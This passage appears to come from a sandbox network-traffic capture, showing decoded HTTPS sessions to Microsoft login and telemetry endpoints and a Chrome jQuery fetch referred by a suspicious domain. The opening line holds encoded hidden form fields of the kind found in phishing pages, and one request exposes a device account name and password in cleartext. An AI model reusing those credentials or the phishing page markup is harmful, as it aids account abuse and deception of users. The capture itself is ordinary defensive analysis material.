2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 63 6d 56 6d 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 63 6d 56 6d 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 64 57 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 31 59 53 49 67 64 6d 46 73 64 57 55 39 49 6c 56 75 61 32 35 76 64 32 34 69 50 67 30 4b 50 43 45 74 4c 53 41 38 5a 47 6c 32 50 6c 4e 31 59 32 4e 6c 63 33 4d 67 61 58 4d 67 62 6d 39 30 49 48 52 6f 5a 53 42 72 5a 58 6b 67 64 47 38 67 61 47 46 77 63 47 6c 75 5a 58 4e 7a 4c 69 42 49 59 58 42 77 61 57 35 6c 63 33 4d 67 61 58 4d 67 64 47 68 6c 49 47 74 6c 65 53 42 30 62 79 42 7a 64 57 4e 6a 5a 58 4e 7a 4c 69 42 4a 5a 69 42 Data Ascii: ZW4iIGlkPSJibHRkcmVmIiBuYW1lPSJibHRkcmVmIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9IlVua25vd24iPg0KPCEtLSA8ZGl2PlN1Y2Nlc3MgaXMgbm90IHRoZSBrZXkgdG8gaGFwcGluZXNzLiBIYXBwaW5lc3MgaXMgdGhlIGtleSB0byBzdWNjZXNzLiBJZiB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49723	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:06 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-07 19:53:06 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-07 19:53:06 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 07 Oct 2024 19:52:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: ea4838a9-657a-40b1-ba34-1fb2ab9fd955 PPServer: PPV: 30 H: BL02EPF0001D98E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 07 Oct 2024 19:53:05 GMT Connection: close Content-Length: 1276
2024-10-07 19:53:06 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49724	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:06 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-07 19:53:06 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 66 74 6d 71 67 6a 73 71 62 65 74 73 68 66 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 31 70 66 35 6a 69 74 79 3b 36 69 76 65 62 31 48 66 71 72 73 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02ftmqgjsqbetshf</Membername><Password>1pf5jity;6iveb1Hfqrs</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-07 19:53:22 UTC	549	IN	HTTP/1.1 400 Bad Request Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 07 Oct 2024 19:52:20 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BL2 x-ms-request-id: fb171bf1-c610-40c0-9a72-bd292eb4b25d PPServer: PPV: 30 H: BL02EPF0001D73F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 07 Oct 2024 19:53:22 GMT Connection: close Content-Length: 210
2024-10-07 19:53:22 UTC	210	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 66 61 6c 73 65 22 3e 3c 45 72 72 6f 72 20 43 6f 64 65 3d 22 64 63 31 33 22 2f 3e 3c 45 72 72 6f 72 53 75 62 63 6f 64 65 3e 30 78 43 46 46 46 46 43 31 36 3c 2f 45 72 72 6f 72 53 75 62 63 6f 64 65 3e 3c 53 65 72 76 65 72 49 6e 66 6f 20 53 65 72 76 65 72 54 69 6d 65 3d 22 32 30 32 34 2d 31 30 2d 30 37 54 31 39 3a 35 33 3a 32 32 5a 22 3e 42 4c 30 32 45 50 46 30 30 30 31 44 37 33 46 20 32 30 32 34 2e 30 39 2e 32 33 2e 31 34 2e 34 35 2e 34 35 3c 2f 53 65 72 76 65 72 49 6e 66 6f 3e 3c 2f 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 3e 0d 0a Data Ascii: <DeviceAddResponse Success="false"><Error Code="dc13"/><ErrorSubcode>0xCFFFFC16</ErrorSubcode><ServerInfo ServerTime="2024-10-07T19:53:22Z">BL02EPF0001D73F 2024.09.23.14.45.45</ServerInfo></DeviceAddResponse>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49725	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:07 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:07 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:07 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 06 Oct 2024 16:59:23 GMT ETag: "0x8DCE6283A3FA58B" x-ms-request-id: 86eceaf5-401e-00a3-6fa2-188b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195307Z-1657d5bbd482tlqpvyz9e93p54000000040g00000000fy43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:07 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-07 19:53:07 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49729	151.101.66.137	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:07 UTC	619	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://z2k.3kf2d.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:07 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2281758 Date: Mon, 07 Oct 2024 19:53:07 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 0 X-Timer: S1728330788.656004,VS0,VE1 Vary: Accept-Encoding
2024-10-07 19:53:07 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
